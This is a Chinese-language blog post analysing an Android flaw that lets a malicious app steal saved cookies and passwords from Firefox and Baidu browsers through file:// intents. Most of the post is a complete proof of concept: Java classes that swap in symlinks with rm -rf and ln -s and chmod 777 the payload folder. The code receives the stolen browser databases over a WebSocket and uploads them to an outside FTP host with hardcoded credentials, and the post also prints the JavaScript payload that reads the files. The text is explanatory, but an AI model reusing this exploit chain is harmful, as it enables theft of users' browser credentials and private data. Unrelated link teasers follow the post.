漏洞危害:android平台的第三方浏览器可以泄露用户账号密码。
漏洞描述:恶意程序通过发送file类型的intent使第三方浏览器执行恶意HTML中的js代码从而泄露浏览器本地存储的cookies和保存的账号密码等敏感信息。
受影响的浏览器:firefox 24.0以下版本,百度几乎所有android浏览器。
漏洞细节分析(以firefox为例,我这里是以firefox如下版本为分析基础:
android:versionCode="2012111611"
android:versionName="17.0"
android:installLocation="0"
package="org.mozilla.firefox"
导致漏洞存在的两个因素:
第一个因素:用于打开网页的页面,存在可以接受file的intent,并且接受显示html的脚本文件,看manifest中对org.mozilla.firefox.App的申明信息,      
<intent-filte>
                <action android:name="android.intent.action.VIEW"></action>
                <category android:name="android.intent.category.BROWSABLE"></category>
                <category android:name="android.intent.category.DEFAULT"></category>
                <data  android:scheme="file"></data>
                <data  android:scheme="http"></data>
                <data  android:scheme="https"></data>
                <data  android:mimeType="text/html"></data>
                <data  android:mimeType="text/plain"></data>         
                <data  android:mimeType="application/xhtml+xml"></data>
 </intent-filter>
言外之意是说,当某个应用发起一个intent,形如:
String file = "/data/data/com.example.test/dir/payload.html"
            Intent i = new Intent(Intent.ACTION_MAIN);
            File f=new File(file);
            Uri uri = Uri.fromFile(f);
            i.setClassName("org.mozilla.firefox""org.mozilla.firefox.App");
            i.addCategory(Intent.CATEGORY_BROWSABLE);
            i.addCategory(Intent.CATEGORY_DEFAULT);
            i.setData(uri);
            act.startActivity(i);
如果app将自己的payload.html所在文件和目录设置成 777 ,则外部程序也可对其可读可写可执行(这是可以实现的),则payload.html中的脚本将被执行。
第二个因素:将隐私文件存储在本地:
我们这里以firefox 17.0版本和百度浏览器 目前最新版本 android:versionCode="29" android:versionName="4.0.7.10" 为例子:
firefox将隐私比如cookies放入一个随机数字生成的目录,这本是一个很好的方式,可以让程序很难找到真正存放cookies的地方,但是在一个固定目录里面却放了一个配置文件,用于找到这个随机字符存放cookies的目录:
Path字段暴露了存放重要信息的位置。
百度浏览器的保存账号和密码的文件是:webview_baidu.db不过里面的内容是加密的,不过这种本地加密的方式,只要已经拿到此文件之后,我恐怕账号密码信息也是很容易得到的,下面的重点内容是通过何种方式将这些包含重要信息文件的内容取出来,并且将这些文件upload出去。
思路:
既然可以通过发起file:// 的intent让浏览器打开payload.html,那么可以在payload中放入一段js脚本,让这段js脚本去读取这些隐私文件,然后通过与发起intent的文件建立socket连接,从而将这些隐私数据发送给出去。
但是这里有两个问题需要明白,
第一:脚本的Same Origin Policy (SOP) ,可信源策略,在这里我的理解通俗点讲就是:基于安全原因,某个域下的js脚本式不能去调用别的域脚本,在这里的情况简单的讲就是在第一次执行payload.html之里面的js脚本去再次执行或者打开其它路径的脚本和文件;
第二:在App这个class定义的数据类型中处理mimeType类型的文件,那么sqlitedb文件,这些都不是mimeType类型,如何转换呢?为什么要考虑这个问题,先暂时不用理会,你会在后续的payload脚本中找到答案。
<data  android:mimeType="text/html"></data>
                <data  android:mimeType="text/plain"></data>         
                <data  android:mimeType="application/xhtml+xml"></data>
思路出来之后,也有拦路虎。我们来逐个解决。
第一个问题可以利用linux的符号链接(symbolink)来解决,第二个问题则可以利用base64来对相应的数据进行解码。下面就要进入proof of content环节了:
在POC程序com.example.ffoxnew中设计一个ContentReceiverServer继承于WebSocketServer 类用于接收从payload获取的浏览器保存的隐私文件:
ContentReceiverServer.java
package com.example.ffoxnew;
 
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.net.UnknownHostException;
 
import org.apache.commons.net.ftp.FTP;
import org.apache.commons.net.ftp.FTPClient;
import org.java_websocket.WebSocket;
import org.java_websocket.handshake.ClientHandshake;
import org.java_websocket.server.WebSocketServer;
 
import android.content.Context;
import android.os.AsyncTask;
import android.util.Base64;
import android.util.Log;
 
public class ContentReceiverServer extends WebSocketServer {
 
    private static final String TAG= ContentReceiverServer.class.getSimpleName();
 
    private Context mContext;
 
    private String lastSaltedValue= null;
 
    public ContentReceiverServer(int port, Context ctx)throws UnknownHostException {
        super(new InetSocketAddress(port));
        mContext = ctx.getApplicationContext();
    }
 
    public ContentReceiverServer(InetSocketAddress address, Context ctx) {
        super(address);
        mContext = ctx.getApplicationContext();
    }
 
    @Override
    public void onOpen(WebSocket conn, ClientHandshake handshake) {
        Log.e(TAG,"onOpen");
    }
 
    @Override
    public void onMessage(WebSocket conn, String message) {
//通过与payload命令交互
        if (message.startsWith("sym")) {
            String firstPayloadPath = JSPayloads.getPathForPayload(mContext, JSPayloads.FIRST_PAYLOAD);
            Utils.SymLinks.replaceFileWithSymlink(Utils.Firefox.PATH_PROFILES_INI, firstPayloadPath);
            try {
                Thread.sleep(2000);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
            conn.send("msg1");
        } else if (message.startsWith("msg1")) {
            // profiles.ini received 8===D we parse it
            String firstPayloadPath = JSPayloads.getPathForPayload(mContext, JSPayloads.FIRST_PAYLOAD);
            Utils.SymLinks.removeStuff(firstPayloadPath);
            int startindex = message.indexOf("Path=");
            int endindex = message.indexOf(".default");
            Log.e("TAG", message);
            String salt = message.substring(startindex+5, endindex);
            Log.e(TAG, "got Salted value " + salt);
            lastSaltedValue = salt;
            String cookies = String.format(Utils.Firefox.PATH_COOKIES_FORMAT, lastSaltedValue);
            Utils.SymLinks.replaceFileWithSymlink(cookies, firstPayloadPath);
            try {
                Thread.sleep(2000);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
            conn.send("msg2");
        } else if (message.startsWith("msg2")) {
            // cookies.sqlite
            String firstPayloadPath = JSPayloads.getPathForPayload(mContext, JSPayloads.FIRST_PAYLOAD);
            Utils.SymLinks.removeStuff(firstPayloadPath);
            String realMessage = message.substring(4);
            Log.e(TAG, realMessage);
 
            FTPTask ftpTask = new FTPTask();
 
            ftpTask.execute(realMessage, lastSaltedValue + "-" +"cookies.sqlite");
 
            String downloads = String.format(Utils.Firefox.PATH_DOWNLOADS_FORMAT, lastSaltedValue);
            Utils.SymLinks.replaceFileWithSymlink(downloads, firstPayloadPath);
 
            try {
                Thread.sleep(2000);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
            conn.send("msg3");
 
        } else if (message.startsWith("msg3")) {
            // downloads.sqlite
            String firstPayloadPath = JSPayloads.getPathForPayload(mContext, JSPayloads.FIRST_PAYLOAD);
            Utils.SymLinks.removeStuff(firstPayloadPath);
            try {
                // we have finished here
                this.stop();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
            String realMessage = message.substring(4);
            Log.e(TAG, realMessage);
 
            FTPTask ftpTask = new FTPTask();
 
            ftpTask.execute(realMessage, lastSaltedValue + "-" +"dowloads.sqlite");
 
        }
    }
 
    @Override
    public void onClose(WebSocket conn, int code, String reason, boolean remote) {
        Log.d(TAG,"onClose");
    }
 
    @Override
    public void onError(WebSocket conn, Exception e) {
        Log.e(TAG,"onError " + e.getMessage());
        e.printStackTrace();
    }
 
    private class FTPTask extends AsyncTask<String, Void, Void> {
 
        @Override
        protected Void doInBackground(String... params) {
            // local copy
            byte[] bytes = Base64.decode(params[0], 0);
            File filesDir = mContext.getFilesDir();
            File output = new File(filesDir, params[1]);
            try {
                FileOutputStream os = new FileOutputStream(output, true);
                os.write(bytes);
                os.flush();
                os.close();
            } catch (Exception e) {
                Log.e(TAG, "Error while saving file");
            }
 
            FTPClient con = null;
 
            try
            {
                con = new FTPClient();              //连接到ftp服务器,将敏感文件上传至ftp
                con.connect("ftp.domain.com");    //改成你自己的
                if (con.login("linux_feixue","135763"))    // 改成你自己的
                {
                    con.enterLocalPassiveMode(); // important!
                    con.setFileType(FTP.BINARY_FILE_TYPE);
 
                    FileInputStream in = new FileInputStream(output);
 
                    boolean result= con.storeFile(params[1], in);
                    in.close();
                    if (result) Log.e("upload result","succeeded");
                    else Log.e("Upload result","failed");
                    con.logout();
                    con.disconnect();
                }
            }
            catch (Exception e)
            {
                e.printStackTrace();
            }
 
            return null;
        }
 
    }
}

FFoxApplication.java

package com.example.ffoxnew;
 
import java.io.File;
 
import com.example.ffoxnew.Utils.CMDs;
 
import android.app.Application;
import android.util.Log;
 
public class FFoxApplication extends Application {
 
    private static final String TAG= FFoxApplication.class.getSimpleName();
 
    @Override
    public void onCreate() {
        super.onCreate();
        setup();
    }
 
    private void setup() {
        Utils.WebSockets.setup();
        Utils.Misc.setup(this);
        JSPayloads.copyPayloads(this, (new File(this.getFilesDir(),JSPayloads.PAYLOAD_FOLDER)).toString());
        JSPayloads.makePayloadsReachable(this);       
        Log.e(TAG,"setup completed");
    }
 
    public void cleanup() {
        Utils.Misc.cleanup(this);
    }
}
 
JSPayloads.java
 

package com.example.ffoxnew;
 
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.ArrayList;
 
import android.content.Context;
import android.content.res.AssetManager;
import android.os.Environment;
import android.util.Log;
 
public class JSPayloads {
 
    public static final String FIRST_PAYLOAD="payload.html";
 
    public static final String PAYLOAD_FOLDER="ff_ploads";
 
    private static ArrayList<String> payloadsList=new ArrayList<String>();
 
    static {
        payloadsList.add(FIRST_PAYLOAD);
    }
 
    public static void makePayloadsReachable(Context ctx) {
        File dir = ctx.getFilesDir();
        Utils.CMDs.cmd("chmod -R 777 " + dir.toString());
    }
 
    public static String getPathForPayload(Context ctx, String payload) {
        File filesDir = ctx.getFilesDir();
        File folder = new File(filesDir, PAYLOAD_FOLDER);
        String path = folder.toString() + "/" + payload;
        File f = new File(path);
        return path;
    }
 
    public static void copyPayloads(Context ctx, String folder) {
        AssetManager assetManager = ctx.getAssets();
        for(String filename : payloadsList) {
            InputStream in = null;
            OutputStream out = null;
            try {
              in = assetManager.open(filename);
              File outFile = new File(folder, filename);
              out = new FileOutputStream(outFile);
              copyFile(in, out);
              in.close();
              in = null;
              out.flush();
              out.close();
              out = null;
            } catch(IOException e) {
                Log.e("tag", "Failed to copy asset file: " + filename, e);
            }      
        }
    }
    private static void copyFile(InputStream in, OutputStream out)throws IOException {
        byte[] buffer = new byte[1024];
        int read;
        while((read = in.read(buffer)) != -1){
          out.write(buffer, 0, read);
        }
    }
 
}
 
Utils.java
 

package com.example.ffoxnew;
 
import java.io.File;
 
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Environment;
import android.util.Log;
 
public class Utils {
 
    public static class CMDs {
 
        public static void cmd(String command){
            try{
                String[] tmp = new String[] {"/system/bin/sh","-c", command};
                Log.e("testest", command);
                Runtime.getRuntime().exec(tmp);
            }
            catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
 
    public static class SymLinks {
 
        public static void replaceFileWithSymlink(String destination, String path) {
//这里会删除原先的payload.html文件,
            CMDs.cmd("rm -r " + path);
//建立符号连接,但符号连接沿用原先被删除的文件的路径,所以这里当js脚本再次load的时候,脚本依然当还是访问原先的路径名,只是由于原先的文件
            //早已经被删除了,所以这里访问的其实已经是新的文件了,神不知鬼不觉的过了AOP
createSymLink(destination, path);
        }
 
        private static void createSymLink(String destination, String path) {
            CMDs.cmd("ln -s " + destination + " " + path);
            CMDs.cmd("chmod 777 " + path);
        }
 
        public static void removeStuff(String path) {
            CMDs.cmd("rm -rf " + path);
        }
 
 
    }
 
    public static class WebSockets {
 
        public static void setup() {
            java.lang.System.setProperty("java.net.preferIPv6Addresses","false");
            java.lang.System.setProperty("java.net.preferIPv4Stack","true");
        }
 
        public static void cleanup() {
 
        }
 
    }
 
    public static class Firefox {
 
        private static final String FF_PACKAGE="org.mozilla.firefox";
        private static final String FF_ACTIVITY="org.mozilla.firefox.App";
 
        public static final String PATH_PROFILES_INI="/data/data/"+ FF_PACKAGE+"/files/mozilla/profiles.ini";
        public static final String PATH_COOKIES_FORMAT="/data/data/"+ FF_PACKAGE+"/files/mozilla/%s.default/cookies.sqlite";
        public static final String PATH_DOWNLOADS_FORMAT="/data/data/"+ FF_PACKAGE+"/files/mozilla/%s.default/downloads.sqlite";
 
        public static void launch(Activity act, String file){
            Intent i = new Intent(Intent.ACTION_MAIN);
            File f=new File(file);
            Uri uri = Uri.fromFile(f);
            i.setClassName(FF_PACKAGE, FF_ACTIVITY);
            i.addCategory(Intent.CATEGORY_BROWSABLE);
            i.addCategory(Intent.CATEGORY_DEFAULT);
            i.setData(uri);
            act.startActivity(i);
        }
    }
 
    public static class Misc {
 
        public static void setup(Context ctx) {
            setupStorage(ctx);
        }
 
        public static void cleanup(Context ctx) {
            cleanStorage(ctx);
        }
 
        private static void setupStorage(Context ctx) {
            cleanStorage(ctx);
            File filesDir = ctx.getFilesDir();
            File payloadFolder = new File(filesDir, JSPayloads.PAYLOAD_FOLDER);
            payloadFolder.mkdir();
        }
 
        private static void cleanStorage(Context ctx) {
            File filesDir = ctx.getFilesDir();
            File payloadFolder = new File(filesDir, JSPayloads.PAYLOAD_FOLDER);
            if (payloadFolder.exists()) {
                payloadFolder.delete();
            }
        }
    }
 
}

 
MainActivity.java
 

package com.example.ffoxnew;
 
import java.net.UnknownHostException;
 
import com.example.ffoxnew.Utils.SymLinks;
 
import android.app.Activity;
import android.os.Bundle;
import android.util.Log;
 
public class MainActivity extends Activity {
 
    private static final String TAG= MainActivity.class.getSimpleName();
 
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
 
        try {
            startExploit();
        } catch (Exception e) {
            // Collecting all the errors in one place
            Log.e(TAG, e.getMessage());
            e.printStackTrace();
            finish();
        }
    }
 
    @Override
    protected void onDestroy() {
        super.onDestroy();
        FFoxApplication app = (FFoxApplication) getApplication();
        app.cleanup();
    }
 
    private void startExploit() throws UnknownHostException, InterruptedException {
        // starting the server to receive the salted value
        ContentReceiverServer server = new ContentReceiverServer(8887,this);
        server.start();
        // Firing the first payload
        String firstPayloadPath = JSPayloads.getPathForPayload(this, JSPayloads.FIRST_PAYLOAD);
        Utils.Firefox.launch(this, firstPayloadPath);
    }
 
}
 
com.example.ffoxnew发起intent让浏览器访问的payload.html,这段代码被放置于assets目录中,在com.example.ffoxnew运行后释放到指定的目录,且将其所在目录修改成777,之后发起intent让被攻击的浏览器去访问payload.html至此payload会同ContentReceiverServer进行通信,将隐私文件发送它,ContentReceiverServer进而将信息upload到指定的ftp服务器。
 

<script type="text/javascript">
    var ws = new WebSocket('ws://localhost:8887'); /*连接服务端,并会触发ws.open,自此与服务端的通信便开始,直至隐私文件上传完毕*/
 
    function getFile(tag) {
 
        var d = document;
 
        var xhr = new XMLHttpRequest;
 
        var txt = '';
 
        xhr.onload = function() {
 
            if (tag != 'msg1'){
                var arrayBuffer = xhr.response;
                if (arrayBuffer) {
                    var byteArray = new Uint8Array(arrayBuffer);
                    var b64encoded = btoa(String.fromCharCode.apply(null, byteArray));
                    txt = b64encoded;
                }
 
            } else {
                txt = xhr.responseText;
            }
 
            txt = tag + txt;
            alert('sending text for tag' + tag + ' ' + txt);
            ws.send(txt);
 
        };
        alert('document: ' + d.URL);
        alert('requested file for tag: ' + tag);
        if (tag != 'msg1') {
            xhr.open('GET', d.URL, true);
            xhr.responseType = "arraybuffer";
        } else {
            xhr.open('GET', d.URL);
        }
 
        xhr.send(null);
    }

ws.onopen = function() {
        ws.send('sym');
    }
    ws.onmessage = function(e) {
        var tag = e.data;
        getFile(tag)
    }
    ws.onclose = function() {
 
    }
</script>

 
    至此,该类漏洞的利用原理已经分析完成了,这里面的POC并非本人所写,是Sebastián 在分析firefox漏洞时候提供的,由于csdn新手不能发链接,所以就不发了,希望这篇文章也能让你理解其中的原理,这里我只是做了相应的讲解。
话说回来,这个漏洞利用起来还是比较难的,相比weixin上次暴露出来的webview远程代码执行漏洞,还是显得比较难以利用,不过如果该漏洞被恶意程序利用来窃取窃取第三方浏览器的隐私信息倒是不无可能,目前发现百度的浏览器也存在这一问题,可能还有更多的浏览器存在类似的泄露隐私的风险。
 

android第三方浏览器存在泄露用户隐私漏洞相关推荐

  1. Android相机资源占用,为保护用户隐私Android 11调整相机选项 APP调用相机时只可使用默认相机...

    据外媒报道目前谷歌在 Android 11 测试版里带来新的调整,此次调整是关于安卓系统对于默认相机调用选择的. 在安卓旧版本中当APP调用相机时会罗列用户已经安装的所有相机应用,这当然也包括那些自带 ...

  2. 一周新闻:网络钓鱼骗子转战Instagram;航旅纵横回应新功能泄露用户隐私。

    1 网络钓鱼骗子转战Instagram 窃取用户信息 Instagram用户目前成为新的网络钓鱼活动的目标,该活动使用登录尝试警告以及类似双因素身份验证(2FA)代码的内容,以使骗局更加可信.骗子使用 ...

  3. 二手手机泄露用户隐私?要“反杀”其实并不难

    本文转载自 三易生活 "卖掉你的旧手机可能导致隐私泄露"."恢复出厂设置的二手手机旧数据依然可以被读出"."有商家专做恢复二手手机数据的生意" ...

  4. 苹果 Siri 被曝涉嫌泄露用户隐私;中国联通回应 5G 入网问题;PHP 7.4 beta 1 发布 | 极客头条...

    快来收听极客头条音频版吧,智能播报由标贝科技提供技术支持. 「CSDN 极客头条」,是从 CSDN 网站延伸至官方微信公众号的特别栏目,专注于一天业界事报道.风里雨里,我们将每天为朋友们,播报最新鲜有 ...

  5. 六款可以在线保护用户隐私的浏览器

    浏览器用户争夺战中最近又出现了一个新的红海领域:用户隐私领域,火狐(Firefox)最近将其"增强型跟踪保护"功能作为默认功能,而苹果(Apple)则紧随其后,继续在其Safari ...

  6. 隐私成“皇帝的新衣”,大数据时代谁能成用户隐私的保护伞?

    随着大数据时代的到来,隐私泄露的问题也逐渐显露出来.特别是今年隐私泄露案件更是层出不穷,从3月闹得沸沸扬扬的Facebook用户隐私泄露案再到6月A站疑被黑客盗取用户数据,似乎我们生活在大数据时代根本 ...

  7. 大数据时代,谁能成用户隐私的保护伞?

    大数据时代,谁能成用户隐私的保护伞? 随着大数据时代的到来,隐私泄露的问题也逐渐显露出来.特别是今年隐私泄露案件更是层出不穷,从3月闹得沸沸扬扬的Facebook用户隐私泄露案再到6月A站疑被黑客盗取 ...

  8. Android 防火墙 知乎,知乎回应:防火墙太“坑爹” 正检查用户隐私是否有泄露...

    9月7日消息,知乎今日下午系统瘫痪无法登陆,各个页面变为一片空白,并且还出现了知乎账号"串号"现象,当时有消息称是服务器原因.其后知乎发布公告,声称由第三方防火墙故障引起客户端临时 ...

  9. Brave浏览器保护用户隐私第2招:第三方页面垃圾过滤

    注:这是定期系列博客的第二篇,描述了Brave浏览器中新的隐私功能.本文描述了研究工程师Anton Lazarev.性能研究员Andrius Aucinas.高级隐私研究员Peter Snyder和高 ...

  10. Tor 浏览器存在严重漏洞 或泄露用户真实 IP 地址

    网络安全公司 We Are Segment 研究人员 Filippo Cavallarin 近期在 FireFox 浏览器中发现一处关键漏洞 -- TorMoil,能够导致用户真实 IP 地址在线泄漏 ...

最新文章

  1. 万字总结,体系化带你全面认识 Nginx
  2. Skyline 扩展模块简介
  3. 皮一皮:六神终于出奶茶了!
  4. oracle 加查询锁,oracle 锁查询 select加锁方法
  5. SpringBoot中在配置文件中限制文件上传的大小
  6. 无线网sdn服务器,什么是SDN,SDN网络与传统网络对比
  7. 【SpringBoot】使用Maven添加jQuery、bootstrap等依赖(WebJars)
  8. android zxing 自动对焦,ZXing自动对焦问题
  9. 服务器centos怎么部署_我什么都不会,怎么拥有自己的个人博客呢
  10. PDE7 wave equation: intuition
  11. tensorflow之variables_to_restore
  12. FZU 2082 过路费(树链剖分 边权)题解
  13. IEEE论文模板下载地址及说明
  14. 数据库SQL语句练习一
  15. ai人工智能_AI如何影响可访问性
  16. 蓝底换白底边缘不干净_PS∶红底证件照换成蓝色背景,边缘怎样处理,让照片更自然呢?...
  17. 谈谈扫码支付的实现流程
  18. 小试牛刀__GAN实战项目之mnist数据集(二)
  19. [博弈论]JZOJ 3339 wyl8899和法法塔的游戏
  20. 王者舰队服务器维护需要几天,王者舰队怎么快速获取金币 金币快速获得方法...

热门文章

  1. android设置wifi蓝牙共享文件,无需互联网或蓝牙即可通过WiFi通过android共享文件...
  2. 微软office办公系列软件的具体用处及办公作用说明指南
  3. oracle收款凭证做错月份,​上个月的银行凭证做错了怎么办
  4. 基于javaweb+jsp的晚会抽奖系统(java+Jdbc+Servlet+Ajax+mysql)
  5. 大写阿拉伯数字1到10(大写阿拉伯数字1到10千百万)
  6. 有线以太网RJ45网口网卡转无线wifi网卡转wifi网口转无线有线转无线方案
  7. 容易遗忘的几个js知识点(一)
  8. IllegalStateException: Only fullscreen opaque activities can request orientation
  9. 【转】 CSS透明opacity和IE各版本透明度滤镜filter的最准确用法
  10. spring-cloud-oauth2